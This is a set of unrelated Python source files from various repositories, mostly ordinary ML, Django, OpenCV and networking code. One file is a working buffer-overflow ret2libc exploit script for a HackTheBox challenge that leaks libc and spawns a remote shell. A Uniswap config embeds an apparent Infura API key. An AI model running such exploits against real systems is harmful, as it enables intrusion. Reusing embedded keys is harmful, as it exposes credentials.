flux_err = np.full(len(wls), 0.1)
# catch warning for predicted value outside of grid
with warnings.catch_warnings(record = True) as w:
warnings.simplefilter('always')
Test_find_abund.models.find_abund(wls, flux, flux_err, 6000, 4, -3, method = 'chisq', max_abund = 5)
assert len(w) == 1
assert issubclass(w[0].category, UserWarning)
class Test_predict_flux:
@classmethod
def setup_class(cls):
cls.models = Spectra()
def test_input_shape(self):
with pytest.raises(ValueError):
Test_predict_flux.models.predict_flux([1], 1, 1, 1)
Test_predict_flux.models.predict_flux(1, [1], 1, 1)
Test_predict_flux.models.predict_flux(1, 1, [1], 1)
Test_predict_flux.models.predict_flux(1, 1, 1, [1])
def test_warning_abundance(self):
with warnings.catch_warnings(record = True) as w:
warnings.simplefilter('always')
Test_predict_flux.models.predict_flux(5000, 2.5, -2, -1)
Test_predict_flux.models.predict_flux(5000, 2.5, -2, 5)
assert len(w) == 2
for i in range(len(w)):
assert issubclass(w[i].category, UserWarning)
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] |
core_get/configuration/environment_settings.py | core-get/core-get | 0 | 51668 | from dataclasses import dataclass
from pathlib import PurePath
from typing import Optional
@dataclass(frozen=True)
class EnvironmentSettings:
working_dir: PurePath
project_dir: Optional[PurePath]
app_dir: PurePath
cache_dir: PurePath
catalog_url: str
| [
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XmanLang/XqlListener.py | Vladislav-Zolotaryov/XmlMaster | 0 | 169527 | # Generated from Xql.g4 by ANTLR 4.7.1
from antlr4 import *
if __name__ is not None and "." in __name__:
from .XqlParser import XqlParser
else:
from XqlParser import XqlParser
# This class defines a complete listener for a parse tree produced by XqlParser.
class XqlListener(ParseTreeListener):
# Enter a parse tree produced by XqlParser#r.
def enterR(self, ctx:XqlParser.RContext):
pass
# Exit a parse tree produced by XqlParser#r.
def exitR(self, ctx:XqlParser.RContext):
pass
| [
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test/test_step.py | codesaurus97/fruit | 0 | 113269 | from fruit.modules.step import Step
import unittest
| [
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imagerecognition/LineFollow/test_video.py | uwrov/2017-2019 | 2 | 121973 | import cv2
import time # Remove Later
import numpy as np
video = cv2.VideoCapture("./img/vert2.mp4")
target_low = (0, 0, 0)
target_high = (50, 50, 50)
while True:
ret, frame = video.read()
if not ret:
video = cv2.VideoCapture("./img/vert2.mp4")
continue
image = frame
image = cv2.resize(image, (0,0), fx=0.25, fy=0.25)
image = cv2.GaussianBlur(image, (5,5), 3)
Blackline= cv2.inRange(image, target_low, target_high)
kernel = np.ones((3,3), np.uint8)
Blackline = cv2.erode(Blackline, kernel, iterations=1) # Remove noise
Blackline = cv2.dilate(Blackline, kernel, iterations=9) # Restore box sizes
contours, hierarchy = cv2.findContours(Blackline.copy(),cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)
cv2.drawContours(image, contours, -1, (0, 200, 0), 3)
for c in contours:
x,y,w,h = cv2.boundingRect(c)
cv2.rectangle(image, (x, y), (x+w, y+h), (0, 0, 255), 3)
cv2.line(image, (x+(w//2), 200), (x+(w//2), 250),(255,0,0),3)
cv2.imshow("orginal with line", image)
time.sleep(0.025)
key = cv2.waitKey(1)
if key == 27:
break
cv2.waitKey(0)
cv2.destroyAllWindows() | [
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] |
Challenges/Space/bof_libc_leak.py | limitedeternity/HackTheBox | 0 | 54574 | <reponame>limitedeternity/HackTheBox<filename>Challenges/Space/bof_libc_leak.py
# coding: utf-8
from pwn import *
HOST, PORT = "172.16.17.32", 30203
elf = context.binary = ELF("./space")
r = elf.process()
r.recvuntil(">")
r.sendline(cyclic(1024))
r.wait()
r.close()
core = Coredump("./core")
buffer_size = cyclic_find(core.fault_addr)
# readelf -r ./space
function_to_leak = "read"
def stdout_fn():
try:
return p32(elf.plt["puts"])
except:
return p32(elf.plt["printf"])
leak_payload = ("A" * buffer_size) + stdout_fn() + p32(elf.sym["main"]) + p32(elf.got[function_to_leak])
r = remote(HOST, PORT)
r.recvuntil(">")
r.sendline(leak_payload)
leak = r.recvuntil(">")
leaked_offset = u32(leak[1:5])
print function_to_leak + "@offset:", hex(leaked_offset)
print "Now, search for a libc by this function+offset (https://libc.blukat.me)."
print "Note, that you maybe will need to bruteforce libc versions / functions to leak."
libc = ELF(raw_input("Path to libc: ").strip())
offset = libc.sym[function_to_leak]
libc_base = leaked_offset - offset
system_offset = libc.sym["system"]
exit_offset = libc.sym["exit"]
sh_offset = next(libc.search('/bin/sh\x00'))
ret_payload = ("\x90" * buffer_size) + p32(libc_base + system_offset) + p32(libc_base + exit_offset) + p32(libc_base + sh_offset)
r.sendline(ret_payload)
r.interactive()
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src/form_builder/views.py | danny8000/collab-form-builder | 4 | 53284 | import csv
import datetime
import re
import json
import unicodedata
from django.shortcuts import render_to_response, get_object_or_404
from django.template import RequestContext
from django.http import HttpResponseRedirect, HttpResponse
from django.core.urlresolvers import reverse
from django.contrib.auth.decorators import login_required
from django.views.decorators.http import require_POST
from django.contrib import messages
from core.models import Person
from core.notifications.email import EmailInfo
from core.notifications.models import Notification
from form_builder.models import Form, Field, FormResponse, AnonymousResponse
from form_builder.forms import FormForm, FieldForm, FieldFormSet, ResponseForm
# Helper functions
def create_templates():
templates = [(field_type, FieldForm(field_type=field_type,
prefix="field_set-{{ i }}"))
for (field_type, _) in Field.FIELD_TYPES]
return templates
def add_message(*args, **kwargs):
if 'fail_silently' not in kwargs:
kwargs['fail_silently'] = True
return messages.add_message(*args, **kwargs)
def response_dict(**kwargs):
return dict({
'active_app': 'Form Builder',
'app_link': reverse('form_builder:index')},
**kwargs)
def normalize(string):
return unicodedata.normalize('NFKD', string).encode('ascii','ignore').strip()
# Views
@login_required
def index(req):
forms = req.user.form_set.all()
return render_to_response('form_builder/index.html',
response_dict(forms=forms),
context_instance=RequestContext(req))
def redirect_to_index_or_form(req, form, fields, action="created"):
if fields:
add_message(req, messages.SUCCESS, "Your form has been " + action +
".")
return HttpResponseRedirect(reverse('form_builder:index'))
else:
add_message(req, messages.INFO, "Your form has been " + action + ". " +
"Before others can fill it out, you need to create some "
"fields.")
return HttpResponseRedirect(reverse('form_builder:edit',
args=[form.slug]))
@login_required
def new(req):
form_form = FormForm(req.POST or None)
field_form_set = FieldFormSet(req.POST or None)
if form_form.is_valid() and field_form_set.is_valid():
custom_form = form_form.save(commit=False)
custom_form.save()
custom_form.owner.add(req.user)
custom_form.save()
field_form_set = FieldFormSet(req.POST, instance=custom_form)
if field_form_set.is_valid():
fields = field_form_set.save()
return redirect_to_index_or_form(req, custom_form, fields)
context = RequestContext(req)
context["formaction"] = "new"
context['compact_header'] = 'compact-header'
return render_to_response(
'form_builder/form.html',
response_dict(form=form_form,
fields=field_form_set,
form_action=reverse('form_builder:new'),
templates=create_templates()),
context_instance=context)
@login_required
def edit(req, id):
# autosave functionality switch, in case something goes wrong
# 0=off; 1=on
use_form_autosave = 0
custom_form = get_object_or_404(Form, owner=req.user, slug=id)
form_form = FormForm(req.POST or None, instance=custom_form)
field_form_set = FieldFormSet(req.POST or None, instance=custom_form)
context = RequestContext(req)
context['compact_header'] = 'compact-header'
context["use_form_autosave"] = use_form_autosave
context['custom_form'] = custom_form
if form_form.is_valid() and field_form_set.is_valid():
custom_form = form_form.save()
if req.POST['owner_stub']:
person = Person.objects.get(stub=req.POST.get('owner_stub', '').strip())
collab_user = person.user
custom_form.owner.add(collab_user)
field_form_set.save()
try:
# In a case where someone created a form with no questions,
# field_order would be blank. This would throw up an error to the
# user, but the form data saves to the database fine. Easiest
# solution is just to ignore the error; the expectation is that
# most users will only save the form after adding at least a few
# questions.
custom_form.set_field_order(req.POST['field_order'].split(","))
except:
pass
# FORM AUTOSAVE
# =============
# Assuming that the form saved properly, send response data back to
# the client. This includes a dictionary containing a current queryset
# of fields on the form.
# This is used by the client to make DOM changes to match the current state of
# the form.
if (use_form_autosave == 1):
time_now = datetime.datetime.now().strftime('%I:%M%p')
field_list = Field.objects.filter(id=custom_form.id)
field_dict = {}
for field_instance in field_list:
field_dict[field_instance.id] = field_instance.label
responsedata = {
"message": "Your form was updated at "
+ re.sub(r'\A0', '', time_now.lower()) + ".",
"formfields": field_dict,
}
return HttpResponse(json.dumps(responsedata),
content_type="application/json")
else:
add_message(req, messages.SUCCESS, "Your form has been updated.")
return HttpResponseRedirect(reverse('form_builder:index'))
elif form_form.errors or field_form_set.errors:
# this code typically executes when someone has added a form field but
# has not filled in a required element, such as the label; it ensures
# that the code continues to run without bombing out
if (use_form_autosave == 1):
field_dict = {}
responsedata = {
"message": "Waiting to update form...",
"formfields": field_dict,
}
return HttpResponse(json.dumps(responsedata),
content_type="application/json")
return render_to_response(
'form_builder/form.html',
response_dict(form=form_form,
fields=field_form_set,
form_action=reverse('form_builder:edit',
args=[custom_form.slug]),
templates=create_templates()),
context_instance=context)
@login_required
def respond(req, id):
user_form = get_object_or_404(Form, slug=id)
already_responded = AnonymousResponse.objects.check_dupe(user_form.id,
req.user.username)
if not already_responded:
if req.GET:
for field in user_form.field_set.all():
if req.GET.has_key(field.label):
field.default_value = req.GET[field.label]
field.save()
response_form = ResponseForm(
req.POST or None, form=user_form, user=req.user)
if not user_form.is_closed and response_form.is_valid():
form_response = response_form.save()
#set notification
title = '%s %s submitted the "%s" form' % \
(req.user.first_name, req.user.last_name, user_form)
url = "/forms/results/%s/" % user_form.slug
if user_form.owner.exists():
if user_form.collect_users:
title = '%s %s submitted the "%s" form' % \
(req.user.first_name, req.user.last_name, user_form)
text_template = 'form_respond.txt'
html_template = 'form_respond.html'
else:
title = 'Someone submitted the "%s" form' % user_form
text_template = 'form_respond_anonymous.txt'
html_template = 'form_respond_anonymous.html'
for o in user_form.owner.all():
if o != req.user:
email_info = EmailInfo(
subject=title,
text_template='form_builder/email/%s' % text_template,
html_template='form_builder/email/%s' % html_template,
to_address=o.email
)
Notification.set_notification(req.user, req.user, "submitted",
user_form, o,
title, url, email_info)
return HttpResponseRedirect(reverse('form_builder:form_thanks',
args=[form_response.pk]))
return render_to_response('form_builder/respond.html',
{'user_form': user_form,
'response_form': response_form},
context_instance=RequestContext(req))
else:
context = RequestContext(req)
context['form_title'] = user_form.title
return render_to_response('form_builder/thanks.html', {}, context_instance=context)
@login_required
def form_thanks(req, id=None):
if id:
form_response = get_object_or_404(FormResponse, pk=id)
return render_to_response('form_builder/thanks.html',
{'form_response': form_response,
'form': form_response.form},
context_instance=RequestContext(req))
else:
form_response = None
return render_to_response('form_builder/thanks.html', {},
context_instance=RequestContext(req))
@login_required
def results(req, id):
form = get_object_or_404(Form, owner=req.user, slug=id)
req_new = req.GET.get('new', '')
response_count = form.response_set.count()
new_responses = False
for response in form.response_set.filter(archived=False):
new_responses = form.response_set.filter(archived=False)
context = RequestContext(req)
context['compact_header'] = 'compact-header'
if req_new != '':
return render_to_response(
'form_builder/results.html',
response_dict(form=form,
responses=form.response_set.filter(archived=False),
fields=form.field_set.all(),
new=True,
new_responses=new_responses,
response_count=response_count),
context_instance=context)
else:
return render_to_response(
'form_builder/results.html',
response_dict(form=form,
responses=form.response_set.all(),
fields=form.field_set.all(),
new=False,
new_responses=new_responses,
response_count=response_count),
context_instance=context)
@login_required
def view_response(req, formid, resid):
user_form = get_object_or_404(Form, owner=req.user, slug=formid)
response_form = ResponseForm(
req.POST or None, form=user_form, user=req.user)
result = get_object_or_404(FormResponse, pk=resid)
response_set = result.fieldresponse_set.all()
for field_response in response_set:
field_response.field.label = \
field_response.field.label.replace(user_form.title + ' - ', '')
return render_to_response('form_builder/respond.html',
response_dict(user_form=user_form,
fields=user_form.field_set.all(),
response_form=response_form,
response=result,
response_set=response_set,
viewonly=True),
context_instance=RequestContext(req))
@login_required
def archive_result(req, id):
result = get_object_or_404(FormResponse, pk=id)
if result.archived is False:
result.archived = True
result.save()
if req.META.get('HTTP_REFERER'):
return HttpResponseRedirect(req.META.get('HTTP_REFERER'))
else:
return HttpResponseRedirect(reverse('form_builder:index'))
@login_required
def mark_result_as_new(req, id):
result = get_object_or_404(FormResponse, pk=id)
if result.archived:
result.archived = False
result.save()
if req.META.get('HTTP_REFERER'):
return HttpResponseRedirect(req.META.get('HTTP_REFERER'))
else:
return HttpResponseRedirect(reverse('form_builder:index'))
@login_required
def archive_all(req, id):
form = get_object_or_404(Form, owner=req.user, slug=id)
for response in form.response_set.filter(archived=False):
response.archived = True
response.save()
if req.META.get('HTTP_REFERER'):
return HttpResponseRedirect(req.META.get('HTTP_REFERER'))
else:
return HttpResponseRedirect(reverse('form_builder:index'))
@login_required
def results_csv(req, id):
form = get_object_or_404(Form, owner=req.user, slug=id)
req_new = req.GET.get('new', '')
# Create the HttpResponse object with the appropriate CSV header.
http_response = HttpResponse(content_type='text/csv')
http_response['Content-Disposition'] = 'attachment; filename="results.csv"'
writer = csv.writer(http_response)
labels = [normalize(field.label) for field in form.field_set.all()]
labels.insert(0, "Date/Time")
if form.collect_users:
labels.insert(0, "User")
writer.writerow(labels)
if req_new != '':
for response in form.response_set.filter(archived=False):
data = [normalize(field_response.value)
for field_response
in response.fieldresponse_set.all()]
data.insert(0, response.submission_date)
if form.collect_users:
if response.user:
data.insert(0, normalize(response.user.first_name) + ' ' +
normalize(response.user.last_name))
else:
data.insert(0, "anonymous")
writer.writerow(data)
else:
for response in form.response_set.all():
# This assumes a paste operation from an MS Office product
# May want to be more sophisticated about encoding
data = [normalize(field_response.value)
for field_response
in response.fieldresponse_set.all()]
data.insert(0, response.submission_date)
if form.collect_users:
if response.user:
data.insert(0, normalize(response.user.first_name) + ' ' +
normalize(response.user.last_name))
else:
data.insert(0, "anonymous")
writer.writerow(data)
return http_response
@login_required
@require_POST
def delete(req, id):
form = get_object_or_404(Form, owner=req.user, slug=id)
form.delete()
add_message(req, messages.INFO, "Your form was deleted.")
return HttpResponseRedirect(reverse('form_builder:index'))
@login_required
@require_POST
def duplicate(req, id):
form = get_object_or_404(Form, owner=req.user, slug=id)
form.duplicate()
add_message(req, messages.INFO, "Your form was duplicated.")
return HttpResponseRedirect(reverse('form_builder:index'))
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banding_removal/fastmri/spawn_dist.py | sbhadra2020/fastMRI | 3 | 153663 | <reponame>sbhadra2020/fastMRI
#from __future__ import print_function
import argparse
import pickle
import os
import pdb
import signal
import warnings
import time
from time import sleep
import sys
sys.path.append(sys.path[0] + "/..")
__package__ = "fastmri"
import multiprocessing
import subprocess
from .args import Args
def work(info):
rank, ntasks, args = info
# This must be imported here, in the child process, not globally.
from .run import run as run_task
os.environ['RANK'] = str(rank)
os.environ['WORLD_SIZE'] = str(ntasks)
run_task(args)
def run(args=None, ntasks=None):
if args is None:
args = Args().parse_args()
if isinstance(args, dict):
args = Args(**args).parse_args()
# Some automatic ntask settings code
if ntasks is None:
try:
devices = os.environ['CUDA_VISIBLE_DEVICES']
ntasks = len(devices.split(','))
except:
try:
ntasks = int(os.popen("nvidia-smi -L | wc -l").read())
except:
ntasks = 2
args.is_distributed = True
# Temp ignore for bug in pytorch dataloader, it leaks semaphores
os.environ['PYTHONWARNINGS'] = 'ignore:semaphore_tracker:UserWarning,ignore::UserWarning'
# Make this process the head of a process group.
os.setpgrp()
# Most important line in this file. CUDA fails horribly if we use the default fork
multiprocessing.set_start_method('forkserver')
processses = []
for i in range(ntasks):
p = multiprocessing.Process(target=work, args=[(i, ntasks, args)])
p.start()
if args.strace:
# Addtional Monitoring process
subprocess.Popen(["strace", "-tt" ,
"-o", f"{args.exp_dir}/strace_{i}.log",
"-e", "trace=write", "-s256",
"-p", f"{p.pid}"])
processses.append(p)
def terminate(signum, frame):
# Try terminate first
print("terminating child processes")
sys.stdout.flush()
for i, p in enumerate(processses):
if p.is_alive():
p.terminate()
# Wait a little
for i in range(20):
if any(p.is_alive() for p in processses):
sleep(0.1)
## If they are still alive after that kill -9 them
for i, p in enumerate(processses):
if p.is_alive():
print(f"Sending SIGKILL to process {i}")
sys.stdout.flush()
os.kill(p.pid, signal.SIGKILL)
print("exiting")
sys.stdout.flush()
sys.exit(0)
if args.auto_requeue:
def forward_usr1_signal(signum, frame):
print(f"Received USR1 signal in spawn_dist", flush=True)
for i, p in enumerate(processses):
if p.is_alive():
os.kill(p.pid, signal.SIGUSR1)
def forward_term_signal(signum, frame):
print(f"Received SIGTERM signal in spawn_dist", flush=True)
for i, p in enumerate(processses):
if p.is_alive():
os.kill(p.pid, signal.SIGTERM)
# For requeing we need to ignore SIGTERM, and forward USR1
signal.signal(signal.SIGUSR1, forward_usr1_signal)
signal.signal(signal.SIGTERM, forward_term_signal)
signal.signal(signal.SIGINT, terminate)
else:
signal.signal(signal.SIGINT, terminate)
signal.signal(signal.SIGTERM, terminate)
while True:
sleep(0.5)
if any(not p.is_alive() for p in processses):
print("Detected an exited process, so exiting main")
terminate(None, None)
print("DONE")
if __name__ == "__main__":
run()
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] |
uniswap/config.py | amis-erc20/uniswap-analytics | 0 | 169846 | <gh_stars>0
import json
import os
from multiprocessing.pool import ThreadPool
from web3 import Web3, IPCProvider
from custom_http_provider import CustomHTTPProvider
INFURA_ADDRESS = 'https://mainnet.infura.io/v3/4facf9a657054a2287e6a4bec21046a3'
DEFAULT_REQUEST_TIMEOUT = 30
web3_infura = Web3(CustomHTTPProvider(endpoint_uri=INFURA_ADDRESS, request_kwargs={'timeout': DEFAULT_REQUEST_TIMEOUT}))
web3 = Web3(IPCProvider())
ETH = 10 ** 18
UNISWAP_BEGIN_BLOCK = 6627917
HISTORY_BEGIN_BLOCK = 6628000
HISTORY_CHUNK_SIZE = 5000
CURRENT_BLOCK = web3.eth.blockNumber
LOGS_BLOCKS_CHUNK = 1000
THREADS = 8
pool = ThreadPool(THREADS)
with open('abi/uniswap_factory.abi') as in_f:
UNISWAP_FACTORY_ABI = json.load(in_f)
with open('abi/uniswap_exchange.abi') as in_f:
UNISWAP_EXCHANGE_ABI = json.load(in_f)
with open('abi/erc_20.abi') as in_f:
ERC_20_ABI = json.load(in_f)
with open('abi/str_erc_20.abi') as in_f:
STR_ERC_20_ABI = json.load(in_f)
with open('abi/str_caps_erc_20.abi') as in_f:
STR_CAPS_ERC_20_ABI = json.load(in_f)
UNISWAP_FACTORY_ADDRESS = '0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95'
uniswap_factory = web3.eth.contract(abi=UNISWAP_FACTORY_ABI, address=UNISWAP_FACTORY_ADDRESS)
HARDCODED_INFO = {
'0xE0B7927c4aF23765Cb51314A0E0521A9645F0E2A': ('DGD', 'DGD', 9),
'0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413': ('TheDAO', 'TheDAO', 16),
}
DIST_DIR = '../dist/uniswap/'
LIQUIDITY_DATA = os.path.join(DIST_DIR, 'data/liquidity.csv')
PROVIDERS_DATA = os.path.join(DIST_DIR, 'data/providers/{}.csv')
ROI_DATA = os.path.join(DIST_DIR, 'data/roi/{}.csv')
VOLUME_DATA = os.path.join(DIST_DIR, 'data/volume/{}.csv')
TOTAL_VOLUME_DATA = os.path.join(DIST_DIR, 'data/total_volume.csv')
TOKENS_DATA = os.path.join(DIST_DIR, 'data/tokens.json')
EVENT_TRANSFER = '0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'
EVENT_TOKEN_PURCHASE = '<KEY>'
EVENT_ETH_PURCHASE = '0x7f4091b46c33e918a0f3aa42307641d17bb67029427a5369e54b353984238705'
EVENT_ADD_LIQUIDITY = '0x06239653922ac7bea6aa2b19dc486b9361821d37712eb796adfd38d81de278ca'
EVENT_REMOVE_LIQUIDITY = '0x0fbf06c058b90cb038a618f8c2acbf6145f8b3570fd1fa56abb8f0f3f05b36e8'
ALL_EVENTS = [EVENT_TRANSFER, EVENT_TOKEN_PURCHASE, EVENT_ETH_PURCHASE, EVENT_ADD_LIQUIDITY, EVENT_REMOVE_LIQUIDITY]
INFOS_DUMP = 'infos.dump'
LAST_BLOCK_DUMP = 'last_block.dump'
GRAPHQL_LOGS_QUERY = '''
{{
logs(filter: {{fromBlock: {fromBlock}, toBlock: {toBlock}, addresses: {addresses}, topics: {topics}}}) {{
data topics transaction {{ block {{ number }} }}
}}
}}'''
GRAPHQL_ENDPOINT = 'http://localhost:8547/graphql'
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] |
restapi/src/DB/DBConnection.py | RaymanRJ/rrjamal.ca | 0 | 125769 | from typing import Dict
import psycopg2
from DBConfig import db_config
class DBConnection:
__config: Dict[str, str]
__conn: psycopg2
def __init__(self):
self.__config = db_config
print(self.__config)
self.__conn = psycopg2.connect(
host=self.__config['host'],
database=self.__config['database'],
user=self.__config['user'],
password=self.__config['pass']
)
@property
def connection(self) -> psycopg2:
return self.__conn
@property
def cursor(self) -> psycopg2:
return self.__conn.cursor()
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tests/simple_gan_test.py | alanpeixinho/NiftyNet | 0 | 7251 | from __future__ import absolute_import, print_function
import unittest
import os
import tensorflow as tf
from tensorflow.keras import regularizers
from niftynet.network.simple_gan import SimpleGAN
from tests.niftynet_testcase import NiftyNetTestCase
class SimpleGANTest(NiftyNetTestCase):
def test_3d_reg_shape(self):
input_shape = (2, 32, 32, 32, 1)
noise_shape = (2, 512)
x = tf.ones(input_shape)
r = tf.ones(noise_shape)
simple_gan_instance = SimpleGAN()
out = simple_gan_instance(r, x, is_training=True)
with self.cached_session() as sess:
sess.run(tf.compat.v1.global_variables_initializer())
out = sess.run(out)
self.assertAllClose(input_shape, out[0].shape)
self.assertAllClose((2, 1), out[1].shape)
self.assertAllClose((2, 1), out[2].shape)
def test_2d_reg_shape(self):
input_shape = (2, 64, 64, 1)
noise_shape = (2, 512)
x = tf.ones(input_shape)
r = tf.ones(noise_shape)
simple_gan_instance = SimpleGAN()
out = simple_gan_instance(r, x, is_training=True)
with self.cached_session() as sess:
sess.run(tf.compat.v1.global_variables_initializer())
out = sess.run(out)
self.assertAllClose(input_shape, out[0].shape)
self.assertAllClose((2, 1), out[1].shape)
self.assertAllClose((2, 1), out[2].shape)
if __name__ == "__main__":
tf.test.main()
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wlanpi_core/services/diagnostics_service.py | WLAN-Pi/wlanpi-core | 1 | 51208 | from shutil import which
from typing import Optional
from wlanpi_core.models.validation_error import ValidationError
from .helpers import get_phy80211_interfaces, run_cli_async
async def executable_exists(name: str) -> bool:
"""
Check whether `name` is on PATH and marked as executable.
"""
return which(name) is not None
async def test_wifi_interface(interface: str) -> dict:
test = {}
test["name"] = interface
test["mac"] = (
await run_cli_async(f"cat /sys/class/net/{interface}/address")
).strip()
test["driver"] = (
(await run_cli_async(f"readlink -f /sys/class/net/{interface}/device/driver"))
.strip()
.rsplit("/", 1)[1]
)
"""
https://www.kernel.org/doc/Documentation/ABI/testing/sysfs-class-net
What: /sys/class/net/<iface>/operstate
Date: March 2006
KernelVersion: 2.6.17
Contact: <EMAIL>
Description:
Indicates the interface RFC2863 operational state as a string.
Possible values are:
"unknown", "notpresent", "down", "lowerlayerdown", "testing",
"dormant", "up".
"""
operstate = await run_cli_async(f"cat /sys/class/net/{interface}/operstate")
test["operstate"] = operstate.strip()
_type = await run_cli_async(f"cat /sys/class/net/{interface}/type")
_type = int(_type)
if _type == 1:
test["mode"] = "managed"
elif _type == 801:
test["mode"] = "monitor"
elif _type == 802:
test["mode"] = "monitor"
elif (
_type == 803
): # https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/if_arp.h#L90
test["mode"] = "monitor"
else:
test["mode"] = "unknown"
return test
async def get_diagnostics():
"""
Return diagnostic tests for probe
"""
diag = {}
regdomain = await run_cli_async("iw reg get")
diag["regdomain"] = [line for line in regdomain.split("\n") if "country" in line]
executable = {}
tcpdump_exists = await executable_exists("tcpdump")
executable["tcpdump"] = tcpdump_exists
iw_exists = await executable_exists("iw")
executable["iw"] = iw_exists
ip_exists = await executable_exists("ip")
executable["ip"] = ip_exists
ifconfig_exists = await executable_exists("ifconfig")
executable["ifconfig"] = ifconfig_exists
airmonng_exists = await executable_exists("airmon-ng")
executable["airmon-ng"] = airmonng_exists
# add executable tests to diag
diag["tools"] = executable
tool_versions = {}
if tcpdump_exists:
tool_versions["tcpdump"] = await run_cli_async(
"tcpdump --version", want_stderr=True
)
else:
tool_versions["tcpdump"] = "unknown"
if iw_exists:
tool_versions["iw"] = await run_cli_async("iw --version")
else:
tool_versions["iw"] = "unknown"
if ip_exists:
tool_versions["ip"] = await run_cli_async("ip -V")
else:
tool_versions["ip"] = "unknown"
if ifconfig_exists:
tool_versions["ifconfig"] = await run_cli_async("ifconfig --version")
else:
tool_versions["ifconfig"] = "unknown"
# add version tests to diag
diag["versions"] = tool_versions
return diag
async def get_interface_diagnostics(interface: Optional[str] = None):
interfaces = get_phy80211_interfaces()
results = {}
if interface:
if interface not in interfaces:
raise ValidationError(
status_code=400, error_msg=f"wlan interface {interface} not found"
)
results["interfaces"] = [await test_wifi_interface(interface)]
return results
else:
ifaces = []
for interface in interfaces:
ifaces.append(await test_wifi_interface(interface))
results["interfaces"] = ifaces
return results
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fastapi_crudrouter/core/utils.py | agallant/fastapi-crudrouter | 0 | 147876 | <filename>fastapi_crudrouter/core/utils.py
def get_pk_type(schema, pk_field) -> type:
try:
return schema.__fields__[pk_field].type_
except KeyError:
return int
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Task2/03_personal-info.py | telecomprofi/Cisco-DevOps-MDP-02 | 0 | 88415 | #03_personal-info.py
space= " "
firstName = input("What is your first name?")
lastName = input("What is your last name?")
location = input("What is your location?")
age = input("What is your age?")
print("Hi "+ firstName + space + lastName +"! Your location is "+ location + " and you are "+age + " years old!")
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deeplio/models/nets/pointseg_modules.py | rginjapan/DeepLIO | 43 | 155138 | <gh_stars>10-100
import torch
import torch.nn as nn
import torch.nn.functional as F
class ASPPConv(nn.Sequential):
def __init__(self, in_channels, out_channels, dilation):
modules = [
nn.Conv2d(in_channels, out_channels, 3, padding=dilation, dilation=dilation, bias=False),
nn.BatchNorm2d(out_channels),
nn.ReLU()
]
super(ASPPConv, self).__init__(*modules)
class ASPPPooling(nn.Sequential):
def __init__(self, in_channels, out_channels):
super(ASPPPooling, self).__init__(
nn.AdaptiveAvgPool2d(1),
nn.Conv2d(in_channels, out_channels, 1, bias=False),
nn.BatchNorm2d(out_channels),
nn.ReLU())
def forward(self, x):
size = x.shape[-2:]
for mod in self:
x = mod(x)
return F.interpolate(x, size=size, mode='bilinear', align_corners=False)
class ASPP(nn.Module):
def __init__(self, in_channels, atrous_rates, out_channels=128):
super(ASPP, self).__init__()
modules = []
modules.append(nn.Sequential(
nn.Conv2d(in_channels, out_channels, 1, bias=False),
nn.BatchNorm2d(out_channels),
nn.ReLU()))
rates = tuple(atrous_rates)
for rate in rates:
modules.append(ASPPConv(in_channels, out_channels, rate))
modules.append(ASPPPooling(in_channels, out_channels))
self.convs = nn.ModuleList(modules)
self.project = nn.Sequential(
nn.Conv2d(5 * out_channels, out_channels, 1, bias=False),
nn.BatchNorm2d(out_channels),
nn.ReLU(),
nn.Dropout(0.25))
def forward(self, x):
res = []
for conv in self.convs:
res.append(conv(x))
res = torch.cat(res, dim=1)
return self.project(res)
class BaseBlk(nn.Module):
def __init__(self, init='kaiming'):
super(BaseBlk, self).__init__()
self.init = init
self.reset_parameters()
def reset_parameters(self):
for module in self.modules():
if isinstance(module, nn.Conv2d) or isinstance(module, nn.ConvTranspose2d):
self.init_module(module)
def init_module(self, module):
# Pytorch does kaiming initialiaztion at the moment, so do not need to inititliaze again.
if 'kaiming' in self.init:
return
init_method = init_methods[self.init]
if self.init == "bilinear" and isinstance(module, nn.ConvTranspose2d):
init_method(module.weight)
if module.bias is not None:
torch.nn.init.zeros_(module.bias)
class Fire(BaseBlk):
def __init__(self, inplanes, squeeze_planes,
expand1x1_planes, expand3x3_planes, bn=True, bn_d=0.1, init='kaiming', bypass=None):
super(Fire, self).__init__(init)
self.inplanes = inplanes
self.bypass = bypass
self.bn = bn
self.activation = nn.ReLU(inplace=False)
self.squeeze = nn.Conv2d(inplanes, squeeze_planes, kernel_size=1)
if self.bn:
self.squeeze_bn = nn.BatchNorm2d(squeeze_planes, momentum=bn_d)
self.expand1x1 = nn.Conv2d(squeeze_planes, expand1x1_planes, kernel_size=1)
if self.bn:
self.expand1x1_bn = nn.BatchNorm2d(expand1x1_planes, momentum=bn_d)
self.expand3x3 = nn.Conv2d(squeeze_planes, expand3x3_planes, kernel_size=3, padding=1)
if self.bn:
self.expand3x3_bn = nn.BatchNorm2d(expand3x3_planes, momentum=bn_d)
outplanes = expand1x1_planes + expand3x3_planes
self.need_upsample = inplanes != outplanes
if (self.bypass is not None) and (self.bypass == "complex") and self.need_upsample:
self.upsample = nn.Conv2d(inplanes, outplanes, kernel_size=1)
self.reset_parameters()
def forward(self, x):
identity = x
x = self.squeeze(x)
if self.bn:
x = self.squeeze_bn(x)
x = self.activation(x)
x_1x1 = self.expand1x1(x)
if self.bn:
x_1x1 = self.expand1x1_bn(x_1x1)
x_1x1 = self.activation(x_1x1)
x_3x3 = self.expand3x3(x)
if self.bn:
x_3x3 = self.expand3x3_bn(x_3x3)
x_3x3 = self.activation(x_3x3)
out = torch.cat([x_1x1, x_3x3], 1)
if self.bypass is not None:
if self.bypass == "complex" and self.need_upsample:
identity = self.upsample(identity)
out += identity
elif self.bypass == "simple" and not self.need_upsample:
out += identity
#out = F.elu(out, inplace=True)
return out
class FireDeconv(BaseBlk):
"""Fire deconvolution layer constructor.
Args:
inputs: input channels
squeeze_planes: number of 1x1 filters in squeeze layer.
expand1x1_planes: number of 1x1 filters in expand layer.
expand3x3_planes: number of 3x3 filters in expand layer.
stride: spatial upsampling factors.[1,2]
Returns:
fire deconv layer operation.
"""
def __init__(self, inplanes, squeeze_planes, expand1x1_planes, expand3x3_planes,
stride=(1, 2), padding=(0, 1), bn=True, bn_d=0.1, init='kaiming'):
super(FireDeconv, self).__init__(init)
self.bn = bn
self.activation = nn.ReLU(inplace=True)
self.squeeze = nn.Conv2d(inplanes, squeeze_planes, kernel_size=1)
if self.bn:
self.squeeze_bn = nn.BatchNorm2d(squeeze_planes, momentum=bn_d)
# upsampling
